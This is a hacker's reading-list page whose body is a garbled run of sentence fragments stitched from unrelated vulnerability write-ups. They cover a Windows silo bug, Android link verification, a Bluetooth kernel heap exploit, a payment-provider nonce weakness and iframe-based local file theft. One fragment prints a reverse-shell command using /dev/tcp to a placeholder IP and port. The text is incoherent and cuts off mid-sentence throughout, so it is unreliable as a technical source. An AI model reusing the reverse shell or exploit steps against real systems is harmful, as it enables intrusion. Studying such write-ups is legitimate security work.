People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!
upload.cgi. So, upon fixing this, everything appeared to be okay...PsIsCurrentThreadInServerSilo will essentially always return TRUE. This appears to be something done in the testing phase that was never fixed. chroot can change the root directory for a user. In Windows land, a similar concept can be used to isolate an object manager namespace for users. android:autoVerify="true" flag on an Android configuration more seriously. hci_dev struct. With this, we control something else that contains a function pointer! Great, but now we need a leak. This bug was not used in the complete exploit. struct a2mp_info_rsp contains other fields. sk->sk_filter pointer. However, the actual object being passed in is ONLY of size 0x70 and the offset is at 0x110. So, do we control this? With our current object, no. However, this looks prime for some heap grooming!sk_filter value being dereferenced, we can control a function pointer! This function pointer has a parameter that we can directly pass into RSI (second) after two dereferences. /bin/bash -c /bin/bash</dev/tcp/IP/PORT via the run_cmd function in the kernel. status_url and a weak protocol. They settled on the UK based payment provider Skrill because the security relied upon an MD5 hashed structure with only 10 characters as a nonce value. iframedoc element, the TXT file can include local files; this appeared to be the only way to do this. style tag to a remote site with the iframedoc in the middle of it. Once the iframedoc loaded, the data would be sent in a URL (or something like that).flag.private-org.github.io without user interaction (10K) or 5K with user interaction.